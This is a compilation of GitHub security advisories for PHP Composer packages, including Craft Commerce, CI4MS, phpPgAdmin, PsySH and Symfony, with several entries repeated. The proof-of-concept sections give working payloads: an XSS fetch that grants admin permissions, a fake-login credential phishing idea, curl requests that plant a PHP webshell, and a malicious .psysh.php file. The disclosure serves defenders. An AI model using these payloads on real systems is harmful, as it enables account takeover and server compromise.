deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-w8gw-qm8p-j9j3
Package: craftcms/composer (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-RC1, <= 5.5.1
Patched in: 5.5.2

Summary: Craft Commerce has Stored XSS in Shipping Categories (Name & Description) Fields Leading to Potential Privilege Escalation

Details:
## Summary
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Categories (Name & Description) fields in the **Store Management** section are not properly sanitized before being displayed in the admin panel.

---
## Proof of Concept

### Requirments
- General permissions:
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce permissions:
	- Manage store settings
	- Manage shipping
- An active administrator elevated session

### Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above.
2. Navigate to **Commerce** -> **Store Management** -> **Shipping Categories** (`/admin/commerce/store-management/primary/shippingcategories`).
3. Create a new shipping category.
4. In the **Name** field, enter the following payload:
```html
<img src=x onerror="alert(document.domain)">
```
4. Click **Save** & Go back to the previous page.
5. Notice the alert proving JavaScript execution.


### Privilege Escalation to Administrator:

1. Do the same steps above, but replace the payload with a malicious one.
2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the `<UserID>` with your attacker id:
```html
<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
```
3. In another browser, log in as an admin & go to the vulnerable page (shipping categories page).
4. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

### Resources:

https://github.com/craftcms/commerce/commit/fa[PII_REDACTED]07d05b564d37c88654cd772839ee
GitHub Security Advisory: GHSA-2h2m-v2mg-656c
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0-RC1, <= 4.10.0
Patched in: 4.10.1

Summary: Craft Commerce has Stored XSS in Product Type Name

Details:
## Summary

Stored XSS via Product Type names. The name is not sanitized when displayed in user permissions settings.

The vulnerable input (source) is in Commerce (Product Type settings), but the sink is in CMS user permissions settings. Reporting to Commerce GHSA since the input originates here.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

---
## Proof of Concept

### Required Permissions (Attacker)

- Admin access (to edit Commerce settings)

### Steps to Reproduce

1. Log in as attacker with admin permissions.
2. Go to **Commerce** -> **Settings** -> **Product Types** (`/admin/commerce/settings/producttypes`).
3. Create a new Product Type.
4. Set **Name** to:
```html
<img src=x onerror="alert('XSS-ProductType')" hidden>
```
5. Save the Product Type.
6. Go to **Users** -> Edit any user -> Click on **Permissions** tab (`/admin/users/{UserID}/permissions`).
7. Alert fires instantly (when the Product Type checkbox renders).

## Resources

https://github.com/craftcms/commerce/commit/7e1dedf06038c8e70dce0187b7048d4ab8ffb75c
GitHub Security Advisory: GHSA-2h2m-v2mg-656c
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0, <= 5.5.1
Patched in: 5.5.2

Summary: Craft Commerce has Stored XSS in Product Type Name

Details:
## Summary

Stored XSS via Product Type names. The name is not sanitized when displayed in user permissions settings.

The vulnerable input (source) is in Commerce (Product Type settings), but the sink is in CMS user permissions settings. Reporting to Commerce GHSA since the input originates here.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

---
## Proof of Concept

### Required Permissions (Attacker)

- Admin access (to edit Commerce settings)

### Steps to Reproduce

1. Log in as attacker with admin permissions.
2. Go to **Commerce** -> **Settings** -> **Product Types** (`/admin/commerce/settings/producttypes`).
3. Create a new Product Type.
4. Set **Name** to:
```html
<img src=x onerror="alert('XSS-ProductType')" hidden>
```
5. Save the Product Type.
6. Go to **Users** -> Edit any user -> Click on **Permissions** tab (`/admin/users/{UserID}/permissions`).
7. Alert fires instantly (when the Product Type checkbox renders).

## Resources

https://github.com/craftcms/commerce/commit/7e1dedf06038c8e70dce0187b7048d4ab8ffb75c
GitHub Security Advisory: GHSA-frj9-9rwc-pw9j
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0-RC1, <= 4.10.0
Patched in: 4.10.1

Summary: Craft Commerce has Stored DOM XSS in Order Status Name (Reflects in "Recent Orders" Dashboard Widget)

Details:
## Summary

A stored DOM XSS vulnerability exists in the **"Recent Orders"** dashboard widget. The Order Status Name is rendered via JavaScript string concatenation without proper escaping, allowing script execution when any admin visits the dashboard.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

---
## Proof of Concept

### Required Permissions

- Admin access (to edit/create Order Statuses)

### Steps to Reproduce
1. Log in with an admin account
2. Navigate to **Commerce** → **Settings** → **Order Statuses**
3. Create new order status (e.g., "Pending")
4. Set the **Name** field to:
```html
<img src=x onerror="alert('Order Statuses XSS')" hidden>
```
5. Save the order status
6. Go to Commerce Orders & make some orders with different statuses (e.g. "New" & "the malicious created status")
7. Go to the Dashboard (`/admin/dashboard`) & Add **"Recent Orders"** widget and pick the same 2 statuses for orders
8. Notice the XSS execution <img width="1491" height="568" alt="xss-execution-in-dashboard" src="https://github.com/user-attachments/assets/84e8b121-30b9-4029-93be-e90009b6897e" />


---
## Technical Details

**File:** `vendor/craftcms/commerce/src/templates/_components/widgets/orders/recent/body.twig`

**Root Cause:** `value.name` (the Order Status Name) is concatenated directly into the HTML string without sanitization. When JavaScript inserts this HTML into the DOM, any malicious tags/scripts in the name are executed.<img width="1780" height="858" alt="vulnerable-code" src="https://github.com/user-attachments/assets/b150ee9d-c072-4987-b506-81a29c23d84b" />

---
## Mitigation
Use `Craft.escapeHtml()` in the callback:
```javascript
callback: function(value) {
    return '<span class="commerceStatusLabel"><span class="status ' + Craft.escapeHtml(value.color) + '"></span>' + Craft.escapeHtml(value.name) + '</span>';
}
```

## Resources:

https://github.com/craftcms/commerce/commit/d94d1c9832a47a1c383e375ae87c46c13935ba65
GitHub Security Advisory: GHSA-frj9-9rwc-pw9j
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0, <= 5.5.1
Patched in: 5.5.2

Summary: Craft Commerce has Stored DOM XSS in Order Status Name (Reflects in "Recent Orders" Dashboard Widget)

Details:
## Summary

A stored DOM XSS vulnerability exists in the **"Recent Orders"** dashboard widget. The Order Status Name is rendered via JavaScript string concatenation without proper escaping, allowing script execution when any admin visits the dashboard.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

---
## Proof of Concept

### Required Permissions

- Admin access (to edit/create Order Statuses)

### Steps to Reproduce
1. Log in with an admin account
2. Navigate to **Commerce** → **Settings** → **Order Statuses**
3. Create new order status (e.g., "Pending")
4. Set the **Name** field to:
```html
<img src=x onerror="alert('Order Statuses XSS')" hidden>
```
5. Save the order status
6. Go to Commerce Orders & make some orders with different statuses (e.g. "New" & "the malicious created status")
7. Go to the Dashboard (`/admin/dashboard`) & Add **"Recent Orders"** widget and pick the same 2 statuses for orders
8. Notice the XSS execution <img width="1491" height="568" alt="xss-execution-in-dashboard" src="https://github.com/user-attachments/assets/84e8b121-30b9-4029-93be-e90009b6897e" />


---
## Technical Details

**File:** `vendor/craftcms/commerce/src/templates/_components/widgets/orders/recent/body.twig`

**Root Cause:** `value.name` (the Order Status Name) is concatenated directly into the HTML string without sanitization. When JavaScript inserts this HTML into the DOM, any malicious tags/scripts in the name are executed.<img width="1780" height="858" alt="vulnerable-code" src="https://github.com/user-attachments/assets/b150ee9d-c072-4987-b506-81a29c23d84b" />

---
## Mitigation
Use `Craft.escapeHtml()` in the callback:
```javascript
callback: function(value) {
    return '<span class="commerceStatusLabel"><span class="status ' + Craft.escapeHtml(value.color) + '"></span>' + Craft.escapeHtml(value.name) + '</span>';
}
```

## Resources:

https://github.com/craftcms/commerce/commit/d94d1c9832a47a1c383e375ae87c46c13935ba65
GitHub Security Advisory: GHSA-gp56-f67f-m4px
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 0.28.5.0
Patched in: 0.28.5.0

Summary: CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor

Details:
**Summary**

A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.

**Vulnerability Details**

The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.

Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.

Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.

An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.

**Impact**

Successful exploitation allows:

Full access to the server's file system and databases.

Execution of arbitrary OS commands.

Permanent modification or deletion of application data.

Steps to Reproduce

Log in to an account with permissions to use the file editor.

Create a new PHP file in a public directory using the following request:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'
```

Inject a PHP payload into the file using the save endpoint:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'
```

Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami

Suggested Mitigation

Path Validation: Restrict file operations to non-executable directories.

Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.

Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.

Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).
GitHub Security Advisory: GHSA-654x-9q7r-g966
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-203: Observable Discrepancy, CWE-204: Observable Response Discrepancy
Vulnerable versions: < 0.28.5.0
Patched in: 0.28.5.0

Summary: CI4MS Vulnerable to User Email Enumeration via Password Reset Flow

Details:
**Summary**

The authentication implementation in CI4MS is vulnerable to email enumeration. An unauthenticated attacker can determine whether an email address is registered in the system by analyzing the application's response during the password reset process.

**Vulnerability Details**

- The password reset flow returns different responses based on whether the provided email address exists in the database or not.
- If the email is registered, the system typically returns a success message (e.g., "Password reset link has been sent").

If the email is not registered, the system returns an error message (e.g., "User not found" or a different HTTP status code).

This discrepancy allows attackers to programmatically "enumerate" or confirm valid user emails, which can then be used for targeted phishing attacks or brute-force attempts.

**Steps to Reproduce**

1. Navigate to the password reset page of the CI4MS installation.
2. Enter an email address that you know is not registered (e.g., nonexistent@example.com) and submit. Note the response message/code.
3. Enter an email address that is registered (e.g., an admin or test account) and submit. Note the different response.
4. The difference between these two responses confirms the enumeration vulnerability.

**Suggested Mitigation**

Implement a uniform, generic response for all password reset requests, regardless of whether the email exists. Recommended message: "If an account is associated with this email address, a password reset link has been sent."
GitHub Security Advisory: GHSA-4wwf-f7w3-94f5
Package: billz/raspap-webgui (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 3.3.6
Patched in: 3.3.6

Summary: RaspAP raspap-webgui contains an OS Command Injection vulnerability

Details:
RaspAP raspap-webgui versions prior to 3.3.6 contain an OS Command Injection vulnerability. If exploited, an arbitrary OS command may be executed by a user who can log in to the product.
GitHub Security Advisory: GHSA-86gh-c8r8-xwhq
Package: phppgadmin/phppgadmin (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 7.13.0
Patched in: unpatched

Summary: phpPgAdmin contains a remote command execution vulnerability

Details:
phpPgAdmin 7.13.0 contains a remote command execution vulnerability that allows authenticated attackers to execute arbitrary system commands through SQL query manipulation. Attackers can create a custom table, upload a malicious .txt file, and use the COPY FROM PROGRAM command to execute operating system commands with the application's privileges.
GitHub Security Advisory: GHSA-4486-gxhx-5mg7
Package: psy/psysh (COMPOSER)
Severity: MODERATE (CVSS 6.7)
CWE: CWE-427: Uncontrolled Search Path Element
Vulnerable versions: <= 0.11.22
Patched in: 0.11.23

Summary: PsySH has Local Privilege Escalation via CWD .psysh.php auto-load

Details:
### Summary
PsySH automatically loads and executes a `.psysh.php` file from the Current Working Directory (CWD) on startup. If an attacker can write to a directory that a victim later uses as their CWD when launching PsySH, the attacker can trigger arbitrary code execution in the victim's context. When the victim runs PsySH with elevated privileges (e.g., root), this results in local privilege escalation.

### Details
PsySH supports per-directory configuration via a `.psysh.php` file located in the process CWD. This file is executed implicitly when PsySH starts, without requiring explicit opt-in and without validating that the file and directory are safe (e.g., owned by the current user and not group/world-writable).

This enables a CWD poisoning scenario: a low-privileged user can plant a malicious `.psysh.php` in any directory they can write to, then wait for a higher-privileged user to start PsySH while their shell is in that directory.

### PoC
1. As a low-privileged user, create a malicious `.psysh.php` in an attacker-writable directory (example: `/tmp`):

```bash
bob@localhost:/tmp$ echo "<?php system('id > poc.txt'); ?>" > .psysh.php
bob@localhost:/tmp# ls -lah .psysh.php
-rw-r--r-- 1 bob bob 33 Jan 28 11:17 .psysh.php
```

2. As the victim user, start PsySH with CWD set to that directory and exit:

```bash
root@localhost:/tmp# cd /tmp
root@localhost:/tmp# ./psysh
Psy Shell v0.12.18 (PHP 8.1.2-1ubuntu2.23 — cli) by Justin Hileman
New PHP manual is available (latest: 3.0.1). Update with `doc --update-manual`
> exit

   INFO  Goodbye.

```

3. Verify code execution triggered in the victim context:

```bash
bob@localhost:/tmp$ ls -lah poc.txt
-rw-r--r-- 1 root root 39 Jan 28 11:19 poc.txt
bob@localhost:/tmp$ cat poc.txt
uid=0(root) gid=0(root) groups=0(root)
````


### Impact

This is a CWD configuration poisoning issue leading to arbitrary code execution in the victim user’s context. If a privileged user (e.g., root, a CI runner, or an ops/debug account) launches PsySH with CWD set to an attacker-writable directory containing a malicious `.psysh.php`, the attacker can execute commands with that privileged user’s permissions, resulting in local privilege escalation.

Downstream consumers that embed PsySH inherit this risk. For example, Laravel Tinker (`php artisan tinker`) uses PsySH. If a privileged user runs Tinker while their shell is in an attacker-writable directory, the `.psysh.php` auto-load behavior can be abused in the same way to execute attacker-controlled code under the victim’s privileges.
GitHub Security Advisory: GHSA-4486-gxhx-5mg7
Package: psy/psysh (COMPOSER)
Severity: MODERATE (CVSS 6.7)
CWE: CWE-427: Uncontrolled Search Path Element
Vulnerable versions: >= 0.12.0, <= 0.12.18
Patched in: 0.12.19

Summary: PsySH has Local Privilege Escalation via CWD .psysh.php auto-load

Details:
### Summary
PsySH automatically loads and executes a `.psysh.php` file from the Current Working Directory (CWD) on startup. If an attacker can write to a directory that a victim later uses as their CWD when launching PsySH, the attacker can trigger arbitrary code execution in the victim's context. When the victim runs PsySH with elevated privileges (e.g., root), this results in local privilege escalation.

### Details
PsySH supports per-directory configuration via a `.psysh.php` file located in the process CWD. This file is executed implicitly when PsySH starts, without requiring explicit opt-in and without validating that the file and directory are safe (e.g., owned by the current user and not group/world-writable).

This enables a CWD poisoning scenario: a low-privileged user can plant a malicious `.psysh.php` in any directory they can write to, then wait for a higher-privileged user to start PsySH while their shell is in that directory.

### PoC
1. As a low-privileged user, create a malicious `.psysh.php` in an attacker-writable directory (example: `/tmp`):

```bash
bob@localhost:/tmp$ echo "<?php system('id > poc.txt'); ?>" > .psysh.php
bob@localhost:/tmp# ls -lah .psysh.php
-rw-r--r-- 1 bob bob 33 Jan 28 11:17 .psysh.php
```

2. As the victim user, start PsySH with CWD set to that directory and exit:

```bash
root@localhost:/tmp# cd /tmp
root@localhost:/tmp# ./psysh
Psy Shell v0.12.18 (PHP 8.1.2-1ubuntu2.23 — cli) by Justin Hileman
New PHP manual is available (latest: 3.0.1). Update with `doc --update-manual`
> exit

   INFO  Goodbye.

```

3. Verify code execution triggered in the victim context:

```bash
bob@localhost:/tmp$ ls -lah poc.txt
-rw-r--r-- 1 root root 39 Jan 28 11:19 poc.txt
bob@localhost:/tmp$ cat poc.txt
uid=0(root) gid=0(root) groups=0(root)
````


### Impact

This is a CWD configuration poisoning issue leading to arbitrary code execution in the victim user’s context. If a privileged user (e.g., root, a CI runner, or an ops/debug account) launches PsySH with CWD set to an attacker-writable directory containing a malicious `.psysh.php`, the attacker can execute commands with that privileged user’s permissions, resulting in local privilege escalation.

Downstream consumers that embed PsySH inherit this risk. For example, Laravel Tinker (`php artisan tinker`) uses PsySH. If a privileged user runs Tinker while their shell is in an attacker-writable directory, the `.psysh.php` auto-load behavior can be abused in the same way to execute attacker-controlled code under the victim’s privileges.
GitHub Security Advisory: GHSA-r39x-jcww-82v6
Package: symfony/symfony (COMPOSER)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Vulnerable versions: >= 8.0, < 8.0.5
Patched in: 8.0.5

Summary: Symfony's incorrect argument escaping under MSYS2/Git Bash can lead to destructive file operations on Windows

Details:
### Summary
The Symfony Process component did not correctly treat some characters (notably `=`) as “special” when escaping arguments on Windows. When PHP is executed from an MSYS2-based environment (e.g. Git Bash) and Symfony Process spawns native Windows executables, MSYS2’s argument/path conversion can mishandle unquoted arguments containing these characters.

This can cause the spawned process to receive corrupted/truncated arguments compared to what Symfony intended.

### Impact
If an application (or tooling such as Composer scripts) uses Symfony Process to invoke file-management commands (e.g. `rmdir`, `del`, etc.) with a path argument containing `=`, the MSYS2 conversion layer may alter the argument at runtime. In affected setups this can result in operations being performed on an unintended path, up to and including deletion of the contents of a broader directory or drive.

The issue is particularly relevant when untrusted input can influence process arguments (directly or indirectly, e.g. via repository paths, extracted archive paths, temporary directories, or user-controlled configuration).

### Resolution
Upgrade to a Symfony release that includes the fix from symfony/symfony#63164 (which updates Windows argument escaping to ensure arguments containing = and other MSYS2-sensitive characters are properly quoted/escaped).
The patch for branch 5.4 is available at https://github.com/symfony/symfony/commit/ec154f6f95f8c60f831998ec4d246a857e9d179b

### Workarounds / Mitigations
Avoid running PHP/your tooling from MSYS2-based shells on Windows; prefer cmd.exe or PowerShell for workflows that spawn native executables.
Avoid passing paths containing `=` (and similar MSYS2-sensitive characters) to Symfony Process when operating under Git Bash/MSYS2.
Where applicable, configure MSYS2 to disable or restrict argument conversion (e.g. via `MSYS2_ARG_CONV_EXCL`), understanding this may affect other tooling behavior.